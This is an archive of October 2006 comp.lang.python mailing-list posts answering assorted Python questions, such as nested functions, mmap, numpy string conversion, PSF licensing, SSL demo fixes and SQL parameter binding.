	<pvc9i2l14o2jhdapmqeudal2kvvuvtksht@4ax.com>
	<1160096371.564954.132860@b28g2000cwb.googlegroups.com>
	<eg4i7t$m5b$1@panix3.panix.com>
Message-ID: <1160108669.902121.42170@h48g2000cwc.googlegroups.com>


Aahz wrote:
> In article <1160096371.564954.132860 at b28g2000cwb.googlegroups.com>,
> Blair P. Houghton <blair.houghton at gmail.com> wrote:
> >
> >But they do about 10 things totally wrong with Google groups that
> >I'd've fixed in my spare time in my first week if they'd hired me back
> >when I was interviewing with them.
>
> Only ten?

I'm giving them the benefit of the doubt.

Their security must have /some/ sort of procedure for extracting
people repairing flaws...

I figure 7-10 days max.

--Blair



From bill.pursell at gmail.com  Wed Oct 18 15:23:24 2006
From: bill.pursell at gmail.com (Bill Pursell)
Date: 18 Oct 2006 12:23:24 -0700
Subject: unloading extension library
In-Reply-To: <1161198746.006021.261320@m7g2000cwm.googlegroups.com>
References: <1161198746.006021.261320@m7g2000cwm.googlegroups.com>
Message-ID: <1161199377.259570.234430@m73g2000cwd.googlegroups.com>


Bill Pursell wrote:
> I've got a simple extension module that contains two functions:
> void hi(void) __attribute__((constructor));
> void hi(void) { printf("Hi!\n");}
> void bye(void) __attribute__((destructor));
> void bye(void) { printf("Bye!\n");}
>
>
> When I run in the interpreter:
>
> >>> import spam
> Hi!
> >>> del spam
> >>>
>
> Notice that the destructor isn't called.  How can I force python
> to dlclose() the library and ensure that my destructors get called?
>

There is something about my google-fu that only allows me to
find things 25 seconds after I post....

>>> del sys.modules["spam"]
>>> del spam

Should remove all the references, but I still don't want to wait for
garbage collection.  I need to be sure that the dlclose() happens
and the destructors are called.  Can I do that? (without relying
on ctypes, preferrably.)

--
Bill Pursell



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 28 03:56:23 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 28 Oct 2006 17:56:23 +1000
Subject: Where do nested functions live?
Message-ID: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>

I defined a nested function:

def foo():
    def bar():
        return "bar"
    return "foo " + bar()

which works. Knowing how Python loves namespaces, I thought I could do
this:

>>> foo.bar()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
AttributeError: 'function' object has no attribute 'bar'

but it doesn't work as I expected.


where do nested functions live? How can you access them, for example, to
read their doc strings?



-- 
Steven.



From onurb at xiludom.gro  Tue Oct 17 12:47:18 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 17 Oct 2006 18:47:18 +0200
Subject: A question about list
In-Reply-To: <1161102973.920895.141500@i42g2000cwa.googlegroups.com>
References: <1161102973.920895.141500@i42g2000cwa.googlegroups.com>
Message-ID: <45350917$0$3751$426a74cc@news.free.fr>

pretoriano_2001 at hotmail.com wrote:
> Hello:
> Variable 'a' has the next values:
> [[1,1],[2,2]]
> and I want to take a to b as:
> [[1,1,'='],[2,2,'=']]
> How can I do this with only one line of instruction?

b = [item + ['='] for item in a]

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From heikki at osafoundation.org  Wed Oct 18 20:08:42 2006
From: heikki at osafoundation.org (Heikki Toivonen)
Date: Wed, 18 Oct 2006 17:08:42 -0700
Subject: httplib and HTTPS Connections
In-Reply-To: <1161206277.433641.95440@i42g2000cwa.googlegroups.com>
References: <1161052193.081315.140370@h48g2000cwc.googlegroups.com>
	<15KdnZaRD_3jKajYnZ2dnUVZ_vSdnZ2d@comcast.com>
	<1161206277.433641.95440@i42g2000cwa.googlegroups.com>
Message-ID: <Ga6dnfcP8cfUX6vYnZ2dnUVZ_rSdnZ2d@comcast.com>

runningwild wrote:
> When I try to run https_cli.py however I get the following exception:

> This worked just fine showing me the directory listing and allowing me
> to navigate.
> This was also true for firefox when connecting to
> https://localhost:9443/ from the server in
> demos/httts.howto/orig_https_srv.py
> 
> Any idea what is going on here?

Sorry about that. I should put in prominent warnings that the demos
aren't actively maintained.

In this case the problem is that the old demo wants to use sslv2, but
the updated Context constructor explicitly disables that, so we don't
have any ssl versions available to do the connection.

The easiest way to fix this is to take out the argument to SSL.Context()
and let it use the defaults (defaults to all ssl versions).

I am fixing that demo as we speak, so it will be included in the next
M2Crypto release.

-- 
  Heikki Toivonen


From fredrik at pythonware.com  Wed Oct 11 05:05:10 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 11:05:10 +0200
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com>
References: <mailman.259.1160543174.11739.python-list@python.org>	<452cab5d$0$5294$426a74cc@news.free.fr>
	<463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com>
Message-ID: <egic47$irg$1@sea.gmane.org>

Theerasak Photha wrote:

>> Now the real question : what if the object is not an instance of any of
>> the types, but still support the expected interface ?
> 
> Perhaps:
> 
> try:
>   for attribute in ['foo', 'bar', '__baz__']:
>     getattr(mystery_object, '__%s__' % attribute)
> except AttributeError:
>   # Do sumthin bout it
> 
> Is it wrong to 're-raise' an exception with application-specific
> details within an except clause?

nope, as long as the new exception is provides more accurate information 
about what actually happened.  something like

     try:
         do something
     except ValueError:
         raise RuntimeError("the frobnitz failed to catch the kitten")

can be a lot better than a 30-level traceback that ends with a line 
looking something like

     fnut.index(gah)

on the other hand, things like this are all too common:

    try:
        do something
    except:
        raise Exception("something happened")

also, checking for __method__ is, in general, not the right way to check 
if an object implements a given interface.  some types use C-level slots 
or alternative hooks to provide functionality, and such things are not 
always visible from the outside (Python knows how to use them, though).

so if you can, try doing the operation instead, and catch error (if you 
really need to check first, use an idempotent operation, if available).

</F>



From robert.kern at gmail.com  Tue Oct 24 22:53:45 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Tue, 24 Oct 2006 21:53:45 -0500
Subject: numbers to string
In-Reply-To: <saA%g.18516$A27.17960@trnddc08>
References: <saA%g.18516$A27.17960@trnddc08>
Message-ID: <ehmjjq$ils$1@sea.gmane.org>

David Isaac wrote:
>>>> y
> [116, 114, 121, 32, 116, 104, 105, 115]
>>>> z=''.join(chr(yi) for yi in y)
>>>> z
> 'try this'
> 
> What is an efficient way to do this if y is much longer?
> (A numpy solution is fine.)

With numpy, something like the following:

 >>> from numpy import *
 >>> y = [116, 114, 121, 32, 116, 104, 105, 115]
 >>> a = array(y, dtype=uint8)
 >>> z = a.tostring()
 >>> z
'try this'

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From donn at u.washington.edu  Tue Oct 24 12:22:51 2006
From: donn at u.washington.edu (Donn Cave)
Date: Tue, 24 Oct 2006 09:22:51 -0700
Subject: using mmap on large (> 2 Gig) files
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<1161648415.830523.225520@k70g2000cwa.googlegroups.com>
Message-ID: <donn-672033.09225124102006@gnus01.u.washington.edu>

In article <1161648415.830523.225520 at k70g2000cwa.googlegroups.com>,
 "sturlamolden" <sturlamolden at yahoo.no> wrote:
...
> It seems that Python does take a length argument, but not an offset
> argument (unlike the Windows' CreateFileMapping/MapViewOfFile and UNIX'
> mmap), so you always map from the beginning of the file. Of course if
> you have ever worked with memory mapping files in C, you will probably
> have experienced that mapping a large file from beginning to end is a
> major slowdown.

I certainly have not experienced that.  mmap itself takes nearly
no time, there should be no I/O.  Access to mapped pages may
require I/O, but there is no way around that in any case.

> I haven't looked at the source, but I'd be surprised if Python actually
> maps the file into the process image when mmap is called. I believe
> Python is not memory mapping at all; rather, it just opens a file in
> the file system and uses fseek to move around.

Wow, you're sure a wizard!  Most people would need to look before
making statements like that.

   Donn Cave, donn at u.washington.edu


From mitko at qlogic.com  Wed Oct 18 16:59:55 2006
From: mitko at qlogic.com (Mitko Haralanov)
Date: Wed, 18 Oct 2006 13:59:55 -0700
Subject: Getting method name from within the class method
Message-ID: <20061018135955.70db4999@opal.pathscale.com>

I need to be able to get the name of the currently executed method
within that method. I know that the method object does have the
__name__ attribute but I know know how to access it from withing the
method.

Something like this:

class A:
....
    def a_method (self, this, that):
         print <__name__>

a = A ()
a.a_method()
'a_method'


Thanx for your help!
-- 
Mitko Haralanov					 mitko at qlogic.com
Senior Software Engineer			     650.934.8064
System Interconnect Group		    http://www.qlogic.com



From neoedmund at gmail.com  Wed Oct 18 04:16:10 2006
From: neoedmund at gmail.com (neoedmund)
Date: 18 Oct 2006 01:16:10 -0700
Subject: python's OOP question
In-Reply-To: <4534a656$0$19612$426a74cc@news.free.fr>
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>
	<45334fa9$0$5656$426a74cc@news.free.fr>
	<1160991239.541020.115320@m7g2000cwm.googlegroups.com>
	<453382b6$0$8601$426a74cc@news.free.fr>
	<1161054047.278803.241040@h48g2000cwc.googlegroups.com>
	<4534a656$0$19612$426a74cc@news.free.fr>
Message-ID: <1161159369.957887.285370@m73g2000cwd.googlegroups.com>


Bruno Desthuilliers wrote:
> neoedmund wrote:
> (snip)
> > So I can reuse a method freely only if it's worth reusing.
> > For the word "inheritance", in some aspect, meanings reuse the super
> > class, with the condition: must reuse everything from super class.
>
> Not really. In fact, inheritance *is* a special case of
> composition/delegation. A 'child' class is a class that has references
> to other classes - it's 'parents' -, and  then attributes that are not
> found in the instance or child class are looked up in the parents
> (according to mro rules in case of multiple inheritance). And that's all
> there is.
>
> > It's lack of a option to select which methods are to be reused.
>
> Methods not redefined in the 'child' class or it's instance are
> 'reusable'. Now they are only effectively 'reused' if and when called by
> client code. So the 'option to select which methods are to be reused' is
> mostly up to both the 'child' class and code using it.
>
> > this is something should be improved for general OOP i think.
> > So to answer " What is your problem with having the other extra methods
> > too ?",
> > in real life, a class is not defined so well that any method is needed
> > by sub-class.
>
> Then perhaps is it time to refactor. A class should be a highly cohesive
> unit. If you find yourself needing only a specific subset of a class, it
> may be time to extract this subset in it's own class. Given Python's
> support for both multiple inheritance and composition/delegation, it's
> usually a trivial task (unless you already mixed up too many orthogonal
> concerns in your base class...).
>
> --
> bruno desthuilliers
> python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
> p in 'onurb at xiludom.gro'.split('@')])"

ivestgating the web, i found something similiar with my approch:
http://en.wikipedia.org/wiki/Duck_typing
"Duck-typing avoids tests using type() or isinstance(). Instead, it
typically employs hasattr() tests"



From bignose+hates-spam at benfinney.id.au  Mon Oct  9 19:03:51 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 10 Oct 2006 09:03:51 +1000
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<eg0899$9g5$1@sea.gmane.org>
	<mailman.1259.1159965132.10491.python-list@python.org>
	<egdcop$4c0$1@wake.carmen.se>
	<1160400990.785258.17750@m73g2000cwd.googlegroups.com>
Message-ID: <873b9xay7c.fsf@benfinney.id.au>

"Paul Boddie" <paul at boddie.org.uk> writes:

> Indeed, as someone who merely browses python-dev, perhaps I
> shouldn't care how the core developers track their bugs: if they
> struggle to manage that information in future, why should I care?
> Well, the reason I should care is related to the reason why the core
> developers should care about more than purely technical issues: the
> wider community and the core developers do not exist by themselves
> in isolation; the well-being of the community is related to how
> Python is managed and portrayed by the custodians of the language,
> and the well-being of the development effort is related to how much
> community effort can be directed towards improving the language and
> its image. If this were not so, Python would have vanished like many
> of its contemporaries.
>
> Perhaps the decision makers evaluated the above and much more in depth,
> although us outsiders are not in a position to say, but perhaps the
> discussion around the decision wouldn't have been so inflammatory in
> places if there had been an acknowledgement of this "bigger picture" of
> the community, its influences and that in a large open source project
> no moderately significant decision is without a political dimension.

Thank you.

-- 
 \       "It's easy to play any musical instrument: all you have to do |
  `\       is touch the right key at the right time and the instrument |
_o__)                     will play itself."  -- Johann Sebastian Bach |
Ben Finney



From http  Tue Oct  3 10:07:24 2006
From: http (Paul Rubin)
Date: 03 Oct 2006 07:07:24 -0700
Subject: Best way to handle large lists?
References: <prrUg.1662$We.477@trndny08>
	<jwjw-E75E09.09362703102006@news.isp.giganews.com>
	<slrnei4r1t.d5n.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <7xodst3337.fsf@ruckus.brouhaha.com>

Sybren Stuvel <sybrenUSE at YOURthirdtower.com.imagination> writes:
> > I don't know enough about Python internals, but the suggested
> > solutions all seem to involve scanning bigList. Can this presumably
> > linear operation be avoided by using dict or similar to find all
> > occurrences of smallist items in biglist and then deleting those
> > occurrences?
> 
> And how would that beat O(n)? Every element of bigList has to be
> scanned at one point, either to compare it to every earlier element in
> bigList and eliminate it, or to compare it to every element in
> smallList.

Maybe the application should use sets instead of lists for these
collections.


From jstroud at mbi.ucla.edu  Wed Oct  4 16:37:59 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Wed, 04 Oct 2006 20:37:59 GMT
Subject: Where is Python in the scheme of things?
In-Reply-To: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <HYUUg.9767$e66.2790@newssvr13.news.prodigy.com>

gord wrote:
> As a complete novice in the study of Python, I am asking myself where this 
> language is superior or better suited than others. For example, all I see in 
> the tutorials are lots of examples of list processing, arithmetic 
> calculations - all in a DOS-like environment.
> 
> What is particularly disappointing is the absence of a Windows IDE

I'm a complete windows novice (as in I've forced myself to forget my 
experiences with it), but does windows not run vim?

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From saniac at gmail.com  Sat Oct 28 05:01:24 2006
From: saniac at gmail.com (saniac)
Date: 28 Oct 2006 02:01:24 -0700
Subject: correct parameter usage for "select * where id in ..."
Message-ID: <1162026084.206897.216630@k70g2000cwa.googlegroups.com>

I am working on a little project using pysqlite. It's going to be
exposed on the web, so I want to make sure I quote all incoming data
correctly. However, I've run into a brick wall trying to use parameters
to populate a query of the form "select * where col1 in ( ? )"

The naive approach doesn't work:

  values=['foo', 'bar', 'baz']
  sql = """select  * where value in (?)"""
  cu = cx.cursor()
  cu.execute(sql, (values))

The code blows up because the cursor is expecting 1 arg and gets 3. I
tried joining the array members with a comma, and that didn't work.
I've also tried the equivalent with the named style, which pysqlite
also supports, but that didn't work either.

I can't find any documentation that demonstrates this kind of query.

Is there a way to do this? It seems a bit odd not to have a way to
escape this kind of query.



From ptmcg at austin.rr._bogus_.com  Tue Oct 31 03:20:30 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Tue, 31 Oct 2006 08:20:30 GMT
Subject: 3d programming without opengl
References: <mailman.1526.1162280594.11739.python-list@python.org>
Message-ID: <iHD1h.25601$GR2.12249@tornado.texas.rr.com>

"nelson -" <nelson1977 at gmail.com> wrote in message 
news:mailman.1526.1162280594.11739.python-list at python.org...
> hi!
>   i want to build up a simple 3d interactive geometry application in
> python. Since i want to run it without 3D acceleration (a scene will
> be quite simple) I was wondering if there was a library in python that
> allow me to build 3D graphic without the need to use OpenGL.... I
> google but i can't find nothing interesting... (the best would be a
> pure python solution)
>
> Thanks,
>  nelson

Here's a page (http://www.vrplumber.com/py3d.py) with links to 73 possible 
libraries.

I've played with Slut (http://slut.sourceforge.net/) and it is quite easy to 
work with.  Here's a Flash movie (recorded using Wink) of a sphere that I 
programmed and rotated about: 
http://www.geocities.com/ptmcg/python/sphere1.htm, and here is the program 
that created it: http://www.geocities.com/ptmcg/python/vecSlut2.py.txt.

The demos that come with Slut are quite impressive, too.  The Slut project 
web page summarizes them here 
(http://slut.sourceforge.net/examples/index.html), but the little videos 
don't do them justice.

-- Paul




From B.Ogryczak at gmail.com  Tue Oct 24 06:33:34 2006
From: B.Ogryczak at gmail.com (Bart Ogryczak)
Date: 24 Oct 2006 03:33:34 -0700
Subject: sharing persisten cache between modules
In-Reply-To: <jJi%g.14272$Y24.2181@newsread4.news.pas.earthlink.net>
References: <1161620802.744818.16500@e3g2000cwe.googlegroups.com>
	<mailman.990.1161621384.11739.python-list@python.org>
	<1161621933.150100.149830@m7g2000cwm.googlegroups.com>
	<jJi%g.14272$Y24.2181@newsread4.news.pas.earthlink.net>
Message-ID: <1161686014.162822.322290@e3g2000cwe.googlegroups.com>


Dennis Lee Bieber wrote:
> f-i-* creates local names initially bound to the objects inside a
> module, but any "assignment" to such a name later results in the name
> being rebound to the new object -- disconnecting from the original.

Great! That was it. Thank you! :-)



From g.brandl-nospam at gmx.net  Tue Oct 10 18:26:29 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Wed, 11 Oct 2006 00:26:29 +0200
Subject: default variable in python $_
In-Reply-To: <1160518987.056948.205930@i42g2000cwa.googlegroups.com>
References: <1160518987.056948.205930@i42g2000cwa.googlegroups.com>
Message-ID: <egh6ml$7m9$1@news.albasani.net>

rh0dium wrote:
> Hi all,
> 
> So I have this simple little routine..  say like this..
> 
> 
> def foo()
>    return {"a":"b", "b":"c"}
> 
> if foo():
>    print "Have foo"
> 
> 
> Now I want the dictionary item a (ie. b)
> 
> How can I do it the above way or do I still have to go like this..
> 
> def foo()
>    return {"a":"b", "b":"c"}
> 
> z = foo()
> if z:
>    print "Have foo"
>    print z['a']
> 
> This is where $_ in perl is awesome - There must be a default variable
> in python right?

Why should there? When you're learning a new language, the first thing you
should do is to empty your mind and stop expecting concepts known from other
languages. Instead, try to grasp what the essence of the new language is.

In the case of Python, one credo is "explicit is better than implicit".
IMO, this precludes, among other things, the notion of a "default variable".

Where is the problem with your second snippet?

Georg


From martitzam at gmail.com  Sun Oct  8 22:08:26 2006
From: martitzam at gmail.com (Martitza)
Date: 8 Oct 2006 19:08:26 -0700
Subject: Python license question
References: <1160353411.470511.307190@c28g2000cwb.googlegroups.com>
	<mailman.86.1160357171.11739.python-list@python.org>
Message-ID: <1160359706.377998.192610@e3g2000cwe.googlegroups.com>

Mr. Peters:

Thank you for so kindly taking the time to resolve my misunderstandings
and to elaborate on the intent of the PSF.

In particular, thank you for explaining in plain language how the
licenses stack.  I'm sure our counsel will figure out what a license
from a defunct BeOpen means and anything we do will be in compliance
with all of the license stack.

Best Regards,
Martitza  Mendez


Tim Peters wrote:
> [Martitza]
> |> Hi.  I work for a small company (actually in process of forming)
> > interested in embedding or extending python as part of our commercial
> > non-open-source product.  We have legal counsel, but are interested in
> > the spirit as well as the letter of the law.  Not much seems to have
> > been written about the python license since version 2, so pointers to
> > more recent discussions or contacts are appreciated.  If this is not
> > the right place to ask these questions, I would welcome better ideas.
> >
> > We've read the license and "layman's language" at
> > http://www.python.org/psf/license/ and are need help reconciling the
> > two.
>
> There's also the informal license FAQ:
>
>     http://wiki.python.org/moin/PythonSoftwareFoundationLicenseFaq
>
> I'm not a lawyer, so can't give legal advice.  I can explain intent,
> speaking as a Director of the Python Software Foundation.
>
> > First Observation
> > The entire license -- such as produced by license() -- includes a lot
> > of information which appears to be historical or anecdotal, not the
> > kind of language our lawyers usually see in licensing agreements.
> > Lawyers claim they don't like "extra" language.  You be the judge.  :)
>
> Section A (HISTORY OF THE SOFTWARE) isn't really part of the license.
> But because the PSF doesn't have the right to /re/license the portions
> of Python copyright by CWI, CNRI, or BeOpen.com, the history given
> there can be helpful if anyone is inclined to spend (IMO) too much
> time worrying about the licenses.
>
> > First Question
> > Is all of that information really a required part of the license we
> > pass on to our customers or is the "PYTHON SOFTWARE FOUNDATION
> > LICENSE VERSION 2" portion sufficient?
>
> Section A is not required.  All of section B is required.  Parts of
> Python are copyrighted by, and licensed by, the four entities whose
> licenses appear in section B.
>
> > Second Observation
> > Referring to sections 2 and 3 of the PSF License Version 2... Our
> > non-open-source product will be a derived work, either by extending or
> > embedding the python interpreter.  According to section 3, we will
> > briefly summarize these modifications to the python interpreter as
> > these relate to our product.  Good.
>
> Indeed ;-)  Note that there are no specific requirements about detail,
> and this is really for your benefit:  the more clearly you identify
> the parts that are your original work, the easier it will be to prove
> it is in fact your work (should that become necessary).
>
> The NEWS file that comes with a Python distribution is the PSF's
> version of meeting this requirement (by the similar terms in the CNRI
> and BeOpen.com licenses, the PSF is also required to summarize the
> modifications the PSF makes!).
>
> > Section 2 says that we (as Licensee of the original python) have to
> > include without our modified python a copy of the license.  The License
> > explicitly states in section 1 that it is between the PSF and the end
> > user.
>
> The phrase "end user" appears nowhere in the license.  You must mean
> Licensee.  As a Licensee, you're free (heck, encouraged) to make
> derivative works, but you have no legal authority to put a /different/
> license on any part of the Python you started with.  In exactly the
> same way, the PSF has no legal authority to put a different license on
> the versions of Python the PSF started with.
>
> When you distribute your derived work, your "end users" have rights to
> use the PSF-copyrighted portion of your work by exactly the same means
> you have:  they also become Licensees of the PSF.  And of CNRI, and of
> BeOpen.com, and of CWI.
>
> The license you put on your derived work as a whole only controls the
> portions of your derived work original with you, and your derived work
> as a whole.  You can neither diminish nor increase the rights your end
> users have wrt any of the Python code you obtained from the PSF --
> that's not your work, you don't have and can't get copyright on it,
> and you and your end users have exactly the same rights with respect
> to it (as spelled out in the license file you're asking about).
>
> > At the moment, we are the end user.  But when we sell our
> > software as a derived work, our customer becomes the end user.  So our
> > customers are entering into a direct agreement with PSF.  This
> > indemnifies the PSF (sections 4,5,6,7) -- also good.
> >
> > But there is a side effect of section 2 that would seem to give our
> > customers many rights ("to reproduce, analyze, test, perform and/or
> > display publicly, prepare derivative works, distribute...") to the
> > derived work we created.
>
> I think the licenses are clear about this.  For example, the PSF
> license at the top of the stack specifically says it only applies to
> "Python 2.4 alone or in any derivative version".  The phrases "alone"
> and "in any derivative version" intend to modify "Python 2.4".  It's
> not intended to be read as the two separate phrases "Python 2.4 alone"
> or "in any derivative version", and I'm not sure it even makes sense
> to try to read it that way.
>
> > We would have a problem with our customers distributing our derivative
> > work or preparing derivative works of our derivative work.
>
> It can simplify this a lot to remember that the entity holding
> copyright on a piece of code is the only entity able to license it.
> Thus your license applies to your work, the PSF license applies to the
> PSF's work, and so on down the stack.  That's why there /is/ "a
> stack":  nobody ever gets to forget about the licenses they started
> with, they can only add more licenses to the pile.
>
> > We could of course apply our own restrictive license to things which are truly
> > ours,
>
> And definitely should, if that's what you want.
>
> > but we cannot do this to the work derived from python because
> > that would conflict with section 2 of the python license.
>
> That's not the intent.
>
> > Second Question
> > Can we we prevent our commercial customers from freely redistributing
> > or modifying our derived version of python?  The answer seems like "no"
> > from the License itself but "yes" from the layman's language.  Of
> > course, our lawyers only look at the license.
>
> You set the license on your portion of the work.  While it's hard to
> conceive of anyone doing this, one of your customers certainly could
> /extract/ pieces original to the PSF Python, and distribute those
> (provided they met the PSF license terms, including reproducing the
> PSF license).  If they include any of your original work in the
> process, and the license you set doesn't allow that, then they're in
> violation of your licensing terms.
>
> > Thank you for your time.  Our goal is to understand and be good
> > corporate citizens.  We believe python would be a great benefit to our
> > customers, and we are looking for a viable business model that allows
> > that.
>
> Best wishes!  Everything you said you want to do is wholly consistent
> with the PSF's intent, and the PSF license definitely intends to be
> friendly to proprietary derivative works.  Ditto for the BeOpen.com,
> CNRI, and CWI licenses (although I can't speak for those three in any
> official capacity -- I can speak for the PSF in my role as a PSF
> director).



From hanumizzle at gmail.com  Fri Oct  6 00:43:04 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 00:43:04 -0400
Subject: CGI Tutorial
In-Reply-To: <1160085414.189057.283230@e3g2000cwe.googlegroups.com>
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
	<1160085414.189057.283230@e3g2000cwe.googlegroups.com>
Message-ID: <463ff4860610052143t763dac0o7eaafc644920b7@mail.gmail.com>

On 5 Oct 2006 14:56:54 -0700, Jim <jhefferon at smcvt.edu> wrote:

> * You need a DEBUG variable:
>     from defaults import DEBUG
>     :
>     if DEBUG:
>        ..

WADR, there is a more formal way to do this:

http://docs.python.org/ref/assert.html

Use -O to remove the assert statements, essentially: -O sets the
builtin var __debug__ to False.

(BTW, thank you for making a Linear Algebra textbook that an
innumerate dolt like myself can almost understand.)

-- Theerasak


From fredrik at pythonware.com  Sun Oct 22 12:21:15 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 22 Oct 2006 18:21:15 +0200
Subject: How to print a file in binary mode
In-Reply-To: <1161533394.483372.140500@m7g2000cwm.googlegroups.com>
References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com>	<pan.2006.10.22.13.06.08.86072@gmx.net>	<1161524030.833422.216370@k70g2000cwa.googlegroups.com>	<mailman.940.1161528936.11739.python-list@python.org>
	<1161533394.483372.140500@m7g2000cwm.googlegroups.com>
Message-ID: <ehg5pp$58f$1@sea.gmane.org>

Lucas wrote:

> well,  if I just open the file in binary mode, and write a string,e.g
> '660', how do i read the result? I means I need print the binary in
> screen.

I'm afraid that the more you write, the less sense you make.

> do these?
> 
> fileWrite = open('a.jpg','ab')
> fileWrite.write('660')
> fileWrite.close()
> 
> fileRead = open('a.jpg','rb')
> b = fileRead.read()
> fileRead.close()
> print b

that prints three bytes, "6", "6", and "0":

 >>> fileWrite = open('a.jpg','ab')
 >>> fileWrite.write('660')
 >>> fileWrite.close()

 >>> fileRead = open('a.jpg','rb')
 >>> b = fileRead.read()
 >>> fileRead.close()
 >>> print b
660

what do you want it to print ?

</F>



From rtw at freenet.co.uk  Mon Oct 16 09:37:22 2006
From: rtw at freenet.co.uk (Rob Williscroft)
Date: Mon, 16 Oct 2006 08:37:22 -0500
Subject: Convert StringIO to string
References: <mailman.562.1161001625.11739.python-list@python.org>
Message-ID: <Xns985E948A5F214rtwfreenetREMOVEcouk@216.196.109.145>

Jonathan Bowlas wrote in
news:mailman.562.1161001625.11739.python-list at python.org in
comp.lang.python: 

> Hi listers,
> 
> I've written this little script to generate some html but I cannot get
> it to convert to a string so I can perform a replace() on the &gt;,
> &lt; characters that get returned.
> 
> from StringIO import StringIO
> 
> def generator_file(rsspath,titleintro,tickeropt): 
>      scripter=StringIO()
>      scripter.write('<script type="text/javascript">\n')
>      scripter.write('new rss_ticker(%s, %s, %s)\n' % (rsspath,
> titleintro, tickeropt))
>      scripter.write('</script>\n')
>      return scripter.getvalue()
> 
> I tried adding this:
> 
> scripter = scripter.replace("&lt;", "<")
> scripter = scripter.replace("&gt;", ">")
> 
> But obviously replace() isn't an attribute of StringIO so I guess I
> need to convert it to a string first, can someone please advise how I
> can do this? 
> 

How strange, you are already "converting" to a string in the return
line (the call to the getvalue() method), so:

    	scripter = scripter.getvalue().replace("&lt;", "<")
    	scripter = scripter.replace("&gt;", ">")
    	return scripter

should do what you want.

Rob.
-- 
http://www.victim-prime.dsl.pipex.com/


From kw at kevin-walzer.com  Fri Oct 13 14:36:05 2006
From: kw at kevin-walzer.com (Kevin Walzer)
Date: Fri, 13 Oct 2006 14:36:05 -0400
Subject: SPE for 2.5?
In-Reply-To: <NJQXg.106$1n3.2880@news.tufts.edu>
References: <NJQXg.106$1n3.2880@news.tufts.edu>
Message-ID: <defac$452fdc95$4275d90a$20535@FUSE.NET>

John Salerno wrote:
> Does anyone know if SPE is compatible with Python 2.5? I don't see a
> Windows exe file for 2.5, so I wasn't sure if I should use the 2.4 version.
> 
> Thanks.

I'm not sure...but is SPE even developed anymore? After a furious number
of releases last fall, the developer announced that he was forming some
kind of unified IDE project that would bridge platforms and GUI
toolkits, and then the releases stopped. February is the last month
anything new appeared, as far as I know.

-- 
Kevin Walzer
Poetic Code
http://www.kevin-walzer.com


From xah at xahlee.org  Sat Oct 28 03:24:14 2006
From: xah at xahlee.org (Xah Lee)
Date: 28 Oct 2006 00:24:14 -0700
Subject: what are the most frequently used functions?
Message-ID: <1162020254.660829.124900@e3g2000cwe.googlegroups.com>

I had a idea today.

I wanted to know what are the top most frequently used functions in the
emacs lisp language. I thought i can write a quick script that go thru
all the elisp library locations and get a word-frequency report i want.

I started with a simple program:
http://xahlee.org/p/titus/count_word_frequency.py

and applied it to a Shakespeare text. Here's a sample result:
http://xahlee.org/p/titus/word_frequency.html

Then, i wrote a more elaborate one that recurse thru directories to
work on elisp code treasury.

The code is here:
http://xahlee.org/x/count_word_frequency.py

and i got a strange result. The word ?the? appeared on the top,
along with many other English words. I quickly realized that these are
due to lisp function's doc strings. (not comments)

At this point, it dawned on me that there's no easy way to work around
this, Unless, i write this script in elisp which has functions that
read lisp code and can easily filter out doc strings.

Originally, i planned to use the word-frequency script on Perl, Python,
as well as Java, as well as Elisp. However, now it seems to me this
task is nigh impossible. Each of these lang has their own doc string
syntax. It's gonna be a heavy undertaking if the word-frequency script
is to work with all these langs, since that amounts to writing a parser
for each lang.

Alternatively, one can write multiple word-frequency scripts using each
lang in question, since most lang has facilities to deal with its own
syntax. However, this is still not trivial, and amounts to several
programing efforts.

Anyone would be interested in this problem?

PS bpalmer on #emacs irc.freenode wrote a elisp quicky to deal with
lisp, but that program is currently not fully working... see bottom
http://paste.lisp.org/display/28840

  Xah
  xah at xahlee.org
? http://xahlee.org/



From bearophileHUGS at lycos.com  Thu Oct 12 02:07:26 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 11 Oct 2006 23:07:26 -0700
Subject: Standard Forth versus Python: a case study
In-Reply-To: <1160619958.438049.53390@h48g2000cwc.googlegroups.com>
